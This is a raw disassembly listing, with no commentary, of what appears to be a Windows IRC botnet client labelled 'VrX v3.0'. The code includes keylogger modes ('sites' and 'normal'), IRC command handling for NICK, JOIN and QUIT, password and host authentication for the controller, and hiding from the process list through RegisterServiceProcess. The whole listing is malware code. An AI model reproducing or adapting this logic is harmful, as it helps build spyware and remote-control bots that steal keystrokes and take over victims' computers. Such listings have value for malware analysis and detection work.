push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz loc_401F75
push eax
push edi
call sub_415C40
pop ecx
pop ecx
push edi
push offset unk_42A1E4
jmp loc_40723F
; ---------------------------------------------------------------------------
loc_408BF0: ; CODE XREF: sub_401ACD+46F1j
; sub_401ACD+4708j
push [ebp+arg_18]
push edi
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_418A2E
loc_408C05: ; CODE XREF: sub_401ACD+25ECj
add esp, 14h
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_408C0D: ; CODE XREF: sub_401ACD+46B1j
; sub_401ACD+46C8j
push edi
push [ebp+arg_1C]
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz loc_409644
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jz loc_408CB1
push esi
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408C99
push esi
lea eax, [ebp+var_2C4]
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42A430
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41BFD0
add esp, 24h
lea eax, [ebp+var_2C4]
push esi
push edi
push offset unk_42A1C0
push eax
call sub_41C266
add esp, 10h
inc [ebp+arg_24]
jmp loc_408699
; ---------------------------------------------------------------------------
loc_408C99: ; CODE XREF: sub_401ACD+7171j
lea eax, [ebp+var_2C4]
push offset unk_42A190
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_408699
; ---------------------------------------------------------------------------
loc_408CB1: ; CODE XREF: sub_401ACD+715Cj
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41B243
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
lea eax, [ebp+var_2C4]
push edi
push offset unk_42A178
push 200h
push eax
call sub_41C360
add esp, 10h
jmp loc_408699
; ---------------------------------------------------------------------------
loc_408CFB: ; CODE XREF: sub_401ACD+4434j
; sub_401ACD+444Bj
push edi
push 23h
push offset aKeylog_0 ; "Keylog"
push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."
loc_408D08: ; CODE XREF: sub_401ACD+103Cj
; sub_401ACD+108Fj ...
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B648
add esp, 20h
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_408D24: ; CODE XREF: sub_401ACD+4406j
; sub_401ACD+441Dj
push 23h
call sub_40B602
test eax, eax
pop ecx
jle short loc_408D3A
push offset aKeylogerAlread ; "Keyloger Already running."
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_408D3A: ; CODE XREF: sub_401ACD+7261j
mov eax, [ebp+arg_4]
push edi
mov [ebp+var_A98], eax
mov eax, [ebp+var_4]
mov [ebp+var_A0C], eax
mov eax, [ebp+var_8]
push offset aWeb ; "web"
mov [ebp+var_A08], eax
mov [ebp+var_A10], ebx
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_408DB9
mov esi, [ebp+esi+var_88]
mov [ebp+var_A10], 1
cmp esi, ebx
jnz short loc_408D9D
mov esi, offset aF_0 ; "#f"
push offset byte_43DB88
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_408D9D
mov esi, [ebp+var_88]
loc_408D9D: ; CODE XREF: sub_401ACD+72B2j
; sub_401ACD+72C8j
push esi
lea eax, [ebp+var_A90]
push 80h
push eax
call sub_41C360
add esp, 0Ch
push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."
jmp short loc_408E0F
; ---------------------------------------------------------------------------
loc_408DB9: ; CODE XREF: sub_401ACD+729Dj
push edi
push offset aNormal_0 ; "normal"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_408E97
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_408DF5
mov esi, offset aF_0 ; "#f"
push offset byte_43DB88
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_408DF5
mov esi, [ebp+var_88]
loc_408DF5: ; CODE XREF: sub_401ACD+730Aj
; sub_401ACD+7320j
push esi
lea eax, [ebp+var_A90]
push 80h
push eax
call sub_41C360
add esp, 0Ch
push offset aNormalKeyLogge ; "Normal key logger active."
loc_408E0F: ; CODE XREF: sub_401ACD+72EAj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push ebx
push 23h
push eax
call sub_40B3BA
add esp, 0Ch
mov [ebp+var_A94], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A98]
push ebx
push eax
push offset byte_4126A7
push ebx
push ebx
nop
call near ptr 2680000h
mov ecx, [ebp+var_A94]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_408E7A
loc_408E64: ; CODE XREF: sub_401ACD+73ABj
cmp [ebp+var_A04], ebx
jnz loc_4081AD
push 32h
nop
call near ptr 2670E97h
jmp short loc_408E64
; ---------------------------------------------------------------------------
loc_408E7A: ; CODE XREF: sub_401ACD+7395j
nop
call near ptr 2680972h
push eax
push offset aFailedToStartL ; "Failed to start logging thread, error: "...
loc_408E86: ; CODE XREF: sub_401ACD+20F8j
; sub_401ACD+2E94j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
jmp loc_4081AA
; ---------------------------------------------------------------------------
loc_408E97: ; CODE XREF: sub_401ACD+72FBj
push offset aUnknowModeType ; "Unknow mode type."
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_408EA1: ; CODE XREF: sub_401ACD+4065j
; sub_401ACD+407Cj
push offset aR ; "r"
push edi
call sub_41BEA2
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408F0D
mov ebx, 200h
push esi
lea eax, [ebp+var_2C4]
push ebx
push eax
call sub_41C52F
add esp, 0Ch
loc_408ECA: ; CODE XREF: sub_401ACD+742Cj
test eax, eax
jz short loc_408EFB
push 1
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
push esi
lea eax, [ebp+var_2C4]
push ebx
push eax
call sub_41C52F
add esp, 20h
jmp short loc_408ECA
; ---------------------------------------------------------------------------
loc_408EFB: ; CODE XREF: sub_401ACD+73FFj
push esi
call sub_41BA3B
pop ecx
push edi
push offset unk_42A0A4
jmp loc_409091
; ---------------------------------------------------------------------------
loc_408F0D: ; CODE XREF: sub_401ACD+73E5j
push edi
push offset unk_42A084
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_408F18: ; CODE XREF: sub_401ACD+4037j
; sub_401ACD+404Ej
cmp [ebp+var_C], ebx
jz loc_409644
push edi
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409644
push offset asc_42A080 ; "\n"
push esi
call sub_41C8A0
push esi
call sub_419F9D
add esp, 0Ch
test eax, eax
jnz short loc_408F55
push offset unk_42A054
jmp short loc_408FA2
; ---------------------------------------------------------------------------
loc_408F55: ; CODE XREF: sub_401ACD+747Fj
push esi
lea eax, [ebp+var_2C4]
push offset dword_42A03C
push eax
call sub_41C266
add esp, 0Ch
jmp loc_408699
; ---------------------------------------------------------------------------
loc_408F6F: ; CODE XREF: sub_401ACD+4009j
; sub_401ACD+4020j
cmp [ebp+var_C], ebx
jz loc_409644
push edi
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz loc_409644
push eax
call sub_41875E
test eax, eax
pop ecx
jnz short loc_408F9D
push offset unk_42A01C
jmp short loc_408FA2
; ---------------------------------------------------------------------------
loc_408F9D: ; CODE XREF: sub_401ACD+74C7j
push offset dword_42A000
loc_408FA2: ; CODE XREF: sub_401ACD+7486j
; sub_401ACD+74CEj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_408678
; ---------------------------------------------------------------------------
loc_408FB5: ; CODE XREF: sub_401ACD+3FDBj
; sub_401ACD+3FF2j
push 7Fh
lea eax, [ebp+var_2084]
push edi
push eax
call sub_41BFD0
mov esi, [ebp+esi+var_88]
add esp, 0Ch
cmp esi, ebx
jz short loc_408FE4
push 7Fh
lea eax, [ebp+var_2004]
push esi
push eax
call sub_41BFD0
add esp, 0Ch
loc_408FE4: ; CODE XREF: sub_401ACD+7503j
push 7Fh
lea eax, [ebp+var_1F84]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_2088], eax
mov eax, [ebp+var_8]
mov [ebp+var_1F00], eax
mov eax, [ebp+var_4]
mov [ebp+var_1EFC], eax
push edi
lea eax, [ebp+var_2C4]
push offset dword_429FE8
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 1Ch
push eax
call sub_40B3BA
add esp, 18h
mov [ebp+var_1F04], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2088]
push ebx
push eax
push offset sub_41B302
push ebx
push ebx
nop
call near ptr 2680000h
mov ecx, [ebp+var_1F04]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_409085
loc_40906F: ; CODE XREF: sub_401ACD+75B6j
cmp [ebp+var_1EF8], ebx
jnz loc_406C1F
push 32h
nop
call near ptr 2670E97h
jmp short loc_40906F
; ---------------------------------------------------------------------------
loc_409085: ; CODE XREF: sub_401ACD+75A0j
call near ptr 2680972h
nop
push eax
push offset unk_429FA8
loc_409091: ; CODE XREF: sub_401ACD+298Bj
; sub_401ACD+743Bj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
jmp loc_406C1F
; ---------------------------------------------------------------------------
loc_4090A5: ; CODE XREF: sub_401ACD+3FADj
; sub_401ACD+3FC4j
push ebx
push [ebp+var_88]
push [ebp+arg_4]
push edi
call sub_41036B
add esp, 10h
push edi
push offset dword_429F90
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_4090C3: ; CODE XREF: sub_401ACD+3F7Fj
; sub_401ACD+3F96j
push 14h
lea eax, [ebp+var_1D4C]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_1D38]
push edi
push offset aS_1 ; "%s"
push eax
call sub_41C266
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_1D54], eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_1C34]
push 80h
push eax
call sub_41C360
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1BAC], eax
mov eax, [ebp+var_8]
mov [ebp+var_1BA8], eax
lea eax, [ebp+var_1C34]
push eax
lea eax, [ebp+var_1D38]
push eax
lea eax, [ebp+var_2C4]
push offset unk_429F6C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 1Ah
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_1BB0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1D54]
push ebx
push eax
push offset loc_4161C1
push ebx
push ebx
call near ptr 2680000h
nop
mov ecx, [ebp+var_1BB0]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz loc_4023CA
loc_40918A: ; CODE XREF: sub_401ACD+76D1j
cmp [ebp+var_1BA4], ebx
jnz loc_4082DE
push 32h
nop
call near ptr 2670E97h
jmp short loc_40918A
; ---------------------------------------------------------------------------
loc_4091A0: ; CODE XREF: sub_401ACD+3F51j
; sub_401ACD+3F68j
push edi
nop
call near ptr 26801F9h
test eax, eax
jz short loc_4091C7
push edi
push offset dword_429F50
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
jmp loc_40929A
; ---------------------------------------------------------------------------
loc_4091C7: ; CODE XREF: sub_401ACD+76DCj
push offset dword_42A5A8
call sub_418699
pop ecx
push eax
jmp loc_403EED
; ---------------------------------------------------------------------------
loc_4091D8: ; CODE XREF: sub_401ACD+3F23j
; sub_401ACD+3F3Aj
push edi
call sub_41C159
push eax
call sub_419F16
pop ecx
pop ecx
push 1
pop esi
cmp eax, esi
push edi
jnz short loc_4091F5
push offset unk_429F2C
jmp short loc_4091FA
; ---------------------------------------------------------------------------
loc_4091F5: ; CODE XREF: sub_401ACD+771Fj
push offset unk_429EFC
loc_4091FA: ; CODE XREF: sub_401ACD+7726j
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_406C22
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
jmp loc_406C22
; ---------------------------------------------------------------------------
loc_409233: ; CODE XREF: sub_401ACD+3EF5j
; sub_401ACD+3F0Cj
push ebx
push ebx
push edi
push [ebp+var_4]
push ebx
push [ebp+arg_4]
call sub_419C09
add esp, 18h
cmp eax, 1
push edi
jnz short loc_409255
push offset unk_429EDC
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_409255: ; CODE XREF: sub_401ACD+777Cj
push offset unk_429EAC
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_40925F: ; CODE XREF: sub_401ACD+3EC7j
; sub_401ACD+3EDEj
push edi
call dword_4CBA14
cmp eax, 0FFFFFFFFh
mov [ebp+var_2D8], eax
jz short loc_4092A2
push 2
lea eax, [ebp+var_2D8]
push 4
push eax
call dword_4CB98C
cmp eax, ebx
jz short loc_4092BD
push dword ptr [eax]
loc_409288: ; CODE XREF: sub_401ACD+77EEj
push edi
lea eax, [ebp+var_2C4]
push offset unk_429E8C
push eax
call sub_41C266
loc_40929A: ; CODE XREF: sub_401ACD+76F5j
add esp, 10h
jmp loc_406BFE
; ---------------------------------------------------------------------------
loc_4092A2: ; CODE XREF: sub_401ACD+77A2j
push edi
call dword_4CBA58
cmp eax, ebx
jz short loc_4092BD
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_4CBA60
push eax
jmp short loc_409288
; ---------------------------------------------------------------------------
loc_4092BD: ; CODE XREF: sub_401ACD+77B7j
; sub_401ACD+77DEj
push offset unk_429E64
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_4092C7: ; CODE XREF: sub_401ACD+3E99j
; sub_401ACD+3EB0j
push 7Fh
push edi
push [ebp+arg_14]
call sub_41BFD0
add esp, 0Ch
push edi
push offset unk_429E40
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_4092E0: ; CODE XREF: sub_401ACD+3E6Bj
; sub_401ACD+3E82j
push 5
push ebx
push ebx
push edi
push offset aOpen ; "open"
push ebx
call dword_4CB940
test eax, eax
push edi
jz short loc_409300
push offset unk_429E20
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_409300: ; CODE XREF: sub_401ACD+7827j
push offset unk_429DFC
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_40930A: ; CODE XREF: sub_401ACD+3E3Dj
; sub_401ACD+3E54j
mov al, [edi]
mov byte_429094, al
movsx eax, byte ptr [edi]
push eax
push offset unk_429DD8
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_40931F: ; CODE XREF: sub_401ACD+3E0Fj
; sub_401ACD+3E26j
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40AE84
add esp, 10h
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B894
push eax
call sub_41C266
add esp, 0Ch
jmp loc_4088B1
; ---------------------------------------------------------------------------
loc_40936D: ; CODE XREF: sub_401ACD+3DE1j
; sub_401ACD+3DF8j
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_401F75
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_401F75
push offset aQuitLater ; "QUIT :later\r\n"
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409823
pop ecx
pop ecx
push 1F4h
nop
call near ptr 2670E97h
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call dword_4CBA6C
push [ebp+var_10]
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E924[eax]
nop
call near ptr 26908E5h
push edi
call sub_41C159
imul eax, 234h
push edi
mov dword_43E924[eax], ebx
call sub_41C159
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_43E710[eax], bl
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_409418: ; CODE XREF: sub_401ACD+3DB3j
; sub_401ACD+3DCAj
push edi
push offset aAll ; "all"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_409447
call sub_40B583
cmp eax, ebx
jle short loc_40943D
push eax
push offset unk_429DAC
jmp loc_40723F
; ---------------------------------------------------------------------------
loc_40943D: ; CODE XREF: sub_401ACD+7963j
push offset unk_429D84
jmp loc_403F8F
; ---------------------------------------------------------------------------
loc_409447: ; CODE XREF: sub_401ACD+795Aj
mov eax, [ebp+var_AC]
lea edi, [eax+1]
cmp edi, 20h
jnb loc_401F75
lea eax, [ebp+edi*4+var_90]
mov [ebp+arg_24], eax
loc_409463: ; CODE XREF: sub_401ACD+7A07j
mov eax, [ebp+arg_24]
mov esi, [eax]
cmp esi, ebx
jz loc_401F75
push esi
call sub_41C159
push eax
call sub_40B4F5
pop ecx
pop ecx
test eax, eax
push esi
jz short loc_40948A
push offset unk_429D60
jmp short loc_40948F
; ---------------------------------------------------------------------------
loc_40948A: ; CODE XREF: sub_401ACD+79B4j
push offset unk_429D34
loc_40948F: ; CODE XREF: sub_401ACD+79BBj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4094BF
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_4094BF: ; CODE XREF: sub_401ACD+79D4j
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
add [ebp+arg_24], 4
inc edi
cmp edi, 20h
pop ecx
jb short loc_409463
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_4094DB: ; CODE XREF: sub_401ACD+3D85j
; sub_401ACD+3D9Cj
cmp [ebp+var_C], ebx
jz loc_409644
push edi
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409644
push esi
push offset dword_42A2E8
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push esi
push offset unk_429D1C
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_409515: ; CODE XREF: sub_401ACD+3D57j
; sub_401ACD+3D6Ej
push edi
push offset dword_42A24C
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push edi
push offset unk_429CFC
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_409531: ; CODE XREF: sub_401ACD+3D29j
; sub_401ACD+3D40j
push [ebp+esi+var_88]
push edi
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 10h
push edi
push offset unk_429CDC
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_409554: ; CODE XREF: sub_401ACD+3CFBj
; sub_401ACD+3D12j
push edi
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push edi
push offset unk_429CB8
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_409570: ; CODE XREF: sub_401ACD+3123j
; sub_401ACD+313Aj
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409823
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push edi
push offset unk_429C98
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
push edi
call sub_41C159
add esp, 14h
loc_4095A6: ; CODE XREF: sub_401ACD+7B23j
push eax
call near ptr 2670E97h
nop
loc_4095AD: ; CODE XREF: sub_401ACD+2A5Fj
xor eax, eax
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_4095B4: ; CODE XREF: sub_401ACD+30F5j
; sub_401ACD+310Cj
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409823
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push edi
push offset unk_429C70
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
push edi
call sub_41C159
add esp, 14h
imul eax, 3E8h
jmp short loc_4095A6
; ---------------------------------------------------------------------------
loc_4095F2: ; CODE XREF: sub_401ACD+EADj
; sub_401ACD+EC2j
push [ebp+esi+var_8C]
xor eax, eax
cmp [ebp+var_8F0], bl
setnz al
push eax
lea eax, [ebp+var_338]
push dword_42909C
push eax
call sub_40AE84
add esp, 10h
lea eax, [ebp+var_338]
push eax
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
lea eax, [ebp+var_338]
push eax
push offset unk_429C4C
loc_40963D: ; CODE XREF: sub_401ACD+6FCCj
; sub_401ACD+75F1j ...
call sub_415DAC
pop ecx
loc_409643: ; CODE XREF: sub_401ACD+6BD8j
pop ecx
loc_409644: ; CODE XREF: sub_401ACD+63Dj
; sub_401ACD+649j ...
mov eax, [ebp+arg_24]
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_40964C: ; CODE XREF: sub_401ACD+A98j
; sub_401ACD+AADj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_20], esi
jz loc_401F75
cmp [ebp+var_A4], ebx
jnz loc_401F75
push offset asc_42CDBC ; "!"
push [ebp+var_90]
call sub_41CAD4
mov esi, eax
push offset word_4CB88C
push ebx
inc esi
call sub_41CAD4
push offset asc_429C48 ; "~"
push eax
call sub_41CAD4
push [ebp+arg_20]
mov edi, eax
push offset aCool ; "cool"
call sub_41CA50
add esp, 20h
test eax, eax
jz short loc_4096EB
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 14h
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push edi
push esi
push offset unk_429BC8
jmp loc_4023EE
; ---------------------------------------------------------------------------
loc_4096EB: ; CODE XREF: sub_401ACD+7BDAj
mov [ebp+arg_24], offset off_42915C
loc_4096F2: ; CODE XREF: sub_401ACD+7C41j
mov eax, [ebp+arg_24]
push edi
push dword ptr [eax]
call sub_40B713
pop ecx
test eax, eax
pop ecx
jnz short loc_409752
add [ebp+arg_24], 4
cmp [ebp+arg_24], offset off_429160
jb short loc_4096F2
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 14h
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push edi
push esi
push offset unk_429B74
jmp loc_4023EE
; ---------------------------------------------------------------------------
loc_409752: ; CODE XREF: sub_401ACD+7C34j
mov edi, [ebp+arg_18]
xor esi, esi
loc_409757: ; CODE XREF: sub_401ACD+7CB4j
cmp [ebp+arg_20], ebx
jz loc_401F75
cmp [edi], bl
jnz short loc_409777
push [ebp+arg_20]
push offset aCool ; "cool"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_409788
loc_409777: ; CODE XREF: sub_401ACD+7C95j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_409757
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_409788: ; CODE XREF: sub_401ACD+7CA8j
shl esi, 7
add esi, [ebp+arg_18]
lea eax, [ebp+var_E04]
push 7Fh
push eax
push esi
call sub_41BFD0
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4097BF
push ebx
push [ebp+var_4]
push offset unk_429B54
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_4097BF: ; CODE XREF: sub_401ACD+7CD6j
lea eax, [ebp+var_C4]
push eax
push offset unk_429B34
loc_4097CB: ; CODE XREF: sub_401ACD+595j
; sub_401ACD+2889j ...
call sub_415DAC
loc_4097D0: ; CODE XREF: sub_401ACD+1B81j
pop ecx
loc_4097D1: ; CODE XREF: sub_401ACD+24FDj
pop ecx
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_4097D7: ; CODE XREF: sub_401ACD+20Ej
; sub_401ACD+223j
push [ebp+arg_10]
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push offset aXI ; "-x+i"
push [ebp+arg_10]
push offset aModeSS_0 ; "MODE %s %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 10h
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 10h
mov dword_4CB884, edi
jmp loc_401D6A
sub_401ACD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409823 proc near ; CODE XREF: sub_401955+3Dp
; sub_401ACD+1CBp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_41CB70
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CBA24
leave
retn
sub_409823 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409869 proc near ; CODE XREF: sub_401ACD+506p
; sub_401ACD+134Ep ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_409884
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_409884: ; CODE XREF: sub_409869+14j
push edi
call sub_41B9C0
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_41B9C0
pop ecx
sub esi, eax
pop ecx
lea eax, [ebp+var_400]
push [ebp+arg_8]
push offset aS_1 ; "%s"
push esi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset aSSS_0 ; "%s %s :%s\r\n"
push eax
call sub_41C266
add esp, 14h
lea eax, [ebp+var_200]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CBA24
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_409907
push 7D0h
nop
call near ptr 2670E97h
locret_409907: ; CODE XREF: sub_409869+91j
leave
retn
sub_409869 endp
; =============== S U B R O U T I N E =======================================
sub_409909 proc near ; CODE XREF: ___:0040126Cp
push ebx
push ebp
mov ebp, dword_4270A4
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp
mov esi, dword_4270C4
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_409A29
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_4CBA80, eax
call esi
push offset aProcess32first ; "Process32First"
push edi
mov dword_4CB9F4, eax
call esi
push offset aProcess32next ; "Process32Next"
push edi
mov dword_4CB9D8, eax
call esi
push offset aModule32first ; "Module32First"
push edi
mov dword_4CB8E8, eax
call esi
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_4CB894, eax
call esi
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_4CB8C4, eax
call esi
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_4CB93C, eax
call esi
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_4CBA34, eax
call esi
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_4CBA90, eax
call esi
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_4CB8F4, eax
call esi
cmp dword_4CBA80, ebx
mov dword_4CB8DC, eax
jz short loc_409A07
cmp dword_4CB9F4, ebx
jz short loc_409A07
cmp dword_4CB9D8, ebx
jz short loc_409A07
cmp dword_4CB8E8, ebx
jz short loc_409A07
cmp dword_4CB8C4, ebx
jz short loc_409A07
cmp dword_4CB93C, ebx
jz short loc_409A07
cmp dword_4CBA34, ebx
jz short loc_409A07
cmp dword_4CBA90, ebx
jz short loc_409A07
cmp dword_4CB8F4, ebx
jz short loc_409A07
cmp eax, ebx
jnz short loc_409A11
loc_409A07: ; CODE XREF: sub_409909+B8j
; sub_409909+C0j ...
mov dword_4CBA94, 1
loc_409A11: ; CODE XREF: sub_409909+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi
cmp eax, ebx
mov dword_4CBA0C, eax
jz short loc_409A3E
push 1
push ebx
call eax
jmp short loc_409A3E
